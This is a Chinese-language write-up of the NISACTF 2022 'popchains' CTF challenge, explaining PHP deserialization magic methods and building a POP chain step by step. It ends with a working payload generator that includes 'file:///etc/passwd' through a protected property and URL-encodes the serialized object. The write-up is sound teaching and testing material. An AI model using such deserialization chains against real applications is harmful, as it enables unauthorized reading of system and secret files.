[NISACTF 2022]popchains—PHP反序列化POP链

一、看题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
} else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}

public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

是一道非常经典的PHP反序列化的POP链调用的题,非常有参考学习价值

二、横扫pop链盲区

1、反序列化中常见起点函数

  1. __wakeup 一定会调用:在反序列化之前被调用
  2. __destruct 一定会调用:当一个对象销毁时被调用。及反序列化之后的对象执行的内容走完之后,无路可走,他就会走
  3. __toString 当一个对象反序列化后被当做字符串调用

2、反序列化中常见的中间跳板

  1. __toString 当一个对象被当做字符串使用
  2. __get 读取不可访问或不存在属性时被调用
  3. __set 当给不可访问或不存在属性赋值时被调用
  4. __isset 对不可访问或不存在的属性调用isset()或empty()时被调用
  5. __invoke:当脚本尝试将对象调用为函数时触发。形如 $this->$func();

3、反序列化中常见的终点函数

  1. __call 调用不可访问或不存在的方法时被调用
  2. call_user_func 一般php代码执行都会选择这里
  3. call_user_func_array 一般php代码执行都会选择这里

三、解题

1、锁定入口类

先看非class 类的部分

1
2
3
4
5
6
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
} else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}

就是获取一个get 参数,之后对其值进行反序列化操作,反序列化一个实例对象出来。既然知道对值进行了反序列化,那么这个wish的值一定是某个对象序列化后的值。通读下文知道,这里有三个class 类,也就是说,答案就是一下三个其中一个class 对象的序列化值。

那具体是谁?我们知道,有三个入口函数,分别是__wakeup__destruct __toString函数。我们逐步分析

  1. __wakeup函数:在反序列化的对象被激活之前,会走__wakeup函数,在三个class 类中,只有Road_is_Long类有这个函数,也就是说Road_is_Long类是可以作为入口类
  2. __destruct 函数:三个class 类中没有这个函数,所以也就不能用这个来评估入口类
  3. __toString 函数:这个函数在被作为入口评估函数之前,需要在非class 类的部分中,反序列化后被当做字符串调用才能作为入口评估函数。比如:echo @unserialize($\_GET['wish']);,所以在本题中也不能被作为入口评估函数

这样,我们锁定了入口的class 类 Road_is_Long,那么,我们需要写代码了

新建一个php文件,把这个入口的class类Road_is_Long复制过去,并删除他所有的魔术方法。再对这个类做实例化和序列化

1
2
3
4
5
6
7
8
<?php
class Road_is_Long{
public $page;
public $string;
}
$ril = new Road_is_Long();
var_dump(serialize($ril));
?>

image-20240723172057611

OK,好极了,那么这里剩下了两个变量,这两个变量的值是多少需要往下走。

2、__wakeup 函数

之后就该读__wakeup入口函数的内容了

1
2
3
4
5
6
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}

这里提到了 page 变量,对这个变量进行正则匹配,过滤了很多的协议。如果匹配成功,则更改这个变量的值为index.php

  1. 思路一:大家可能会尝试绕过这个正则匹配,继续往后走。但问题是不管有没有绕过这个函数,当这个函数走完之后走哪个函数呢?已经到了无路可走的时候了,而这个class 中既无__destruct 函数,也无其他的终点函数,代码直接走到头了。
  2. 思路二:page 变量在进行正则匹配的时候,是会被当作字符串去看待。有没有感觉眼熟,没错,如果此时page变量的值正好是某个对象的话,则会触发这个对象的__toString函数。而其本身Road_is_Long是已经被反序列化出来的对象,且具备__toString函数

则page 变量的内容确定,代码如下:

1
2
3
4
5
6
7
8
9
<?php
class Road_is_Long{
public $page;
public $string;
}
$ril = new Road_is_Long();
$ril->page = $ril;
var_dump(serialize($ril));
?>

这样子,将会走到__toString函数里面去,就剩string变量的内容了

3、__toString 函数

之后读__toString 函数的内容

1
2
3
public function __toString(){
return $this->string->page;
}

非常简单,只有一行代码,但是基础薄弱的伙伴看到会感觉懵了很,看不懂。其实这个很简单,我们拆开看

  1. 第一部分:$this->string,这里其实说的就是这个对象的$string变量,也就是我们剩下的第二个变量。
  2. 第二部分:string->page,这里是个迷惑行为,这个string指我们的变量,第二个page变量指的是其他。它并不是我们的page变量,而是随意的一个内容均可,如string->abc,对这个题是没有任何影响。

1、我们知道一个实例化的对象,才可以用->,如我们写的:

1
2
$ril = new Road_is_Long();
$ril->page = $ril;

中$ril是对象,才可以用->来调用page变量

2、同样的$this->string->page

意味$this->string是一个对象,看整体

$this->string ->page

​ 对象 的 page变量

所以,第二个变量string也是一个对象。那具体是谁的对象?

  1. 思路一:那就看谁的class类里面有page变量咯。但是只有Road_is_Long对象才有page变量啊,啊?这怎么回事儿,感觉脑袋有点懵,怎么又调用回来了?
  2. 思路二:已经走到了反序列化中常见的中间跳板函数。__get 当读取不可访问或不存在属性时被调用。如果这个string 的值是Make_a_Change类的实例对象,而这个类中没有page 变量,但是有get函数啊。这样一来,就走到这个类里面的 get 函数里面了

则string 的内容确定,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
$ril = new Road_is_Long();
$ril->page = $ril;

$mac = new Make_a_Change();
$ril->string = $mac;

var_dump(serialize($ril));
?>

那么这个时候又多出来了一个$effort变量,需要确定这个变量的值是多少

4、__get 函数

那继续看__get函数

1
2
3
4
public function __get($key){
$function = $this->effort;
return $function();
}

正好,这里提到了effort 变量。

  1. $function = $this->effort; 将effort变量的值给$function 变量,这没啥,可关键在第二行
  2. return $function(); 这什么鬼,一个变量后面加个(),会不会懵。但我们在往上看中间跳板的那些函数中,有无与这个相关。__invoke:当脚本尝试将对象调用为函数时触发。欸,如果此时effort 变量的值是一个对象的话,$function() 不就相当于把这个对象当成函数来调用了吗。而在Try_Work_Hard 类中正好有这个invoke函数

此时,effort变量的值确定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
class Try_Work_Hard{
protected $var;
}
$ril = new Road_is_Long();
$ril->page = $ril;

$mac = new Make_a_Change();
$ril->string = $mac;

$twh = new Try_Work_Hard();
$mac->effort = $twh;

var_dump(serialize($ril));
?>

注意:我们拿过来的类,需要把里面所有的方法都去掉,只留下变量即可。

这下又多出来一个未知的变量:Try_Work_Hard类里面的 $var变量。继续往后看

5、__invoke 函数

1
2
3
public function __invoke(){
$this->append($this->var);
}

也是只有一行代码,把本对象的var 变量的值做为参数传入本对象的append 方法中,噢,看来要迎来结局了

看本对象的append 方法

1
2
3
public function append($value){
include($value);
}

进行了文件包含,看来整个代码的利用核心就在这里,那这个$var的值,就是我们最终的payload了。

欸,但是又出现了一个点,如下

1
2
3
class Try_Work_Hard{
protected $var;
}

$var变量是由protected 进行修饰,我们实例化的对象无法进行调用

也就是说,我们无法写$twh->var;这样的代码

所以只能在class类中写入,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
class Try_Work_Hard{
protected $var = "file:///etc/passwd";
}
$ril = new Road_is_Long();
$ril->page = $ril;

$mac = new Make_a_Change();
$ril->string = $mac;

$twh = new Try_Work_Hard();
$mac->effort = $twh;

var_dump(serialize($ril));
?>

OK,整个代码分析结束

四、提交答案

看下整个代码的输出结果

image-20240723183004058

还挺长的,把双引号中的拿过去

image-20240723183240459

噢, 啥也没有输出。

这个时候需要把我们的内容做一个url编码,当然也可以直接在代码里面做,在输出的时候添加一个urlencode即可,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
class Try_Work_Hard{
protected $var = "file:///etc/passwd";
}
$ril = new Road_is_Long();
$ril->page = $ril;

$mac = new Make_a_Change();
$ril->string = $mac;

$twh = new Try_Work_Hard();
$mac->effort = $twh;

var_dump(urlencode(serialize($ril)));
?>

这个时候,把我们的这一坨给他

image-20240723183424076

OK,非常的完美

针对这道题而言,只需要把/etc/passwd换成/flag即可,甚至可使用php伪协议

image-20240723183646708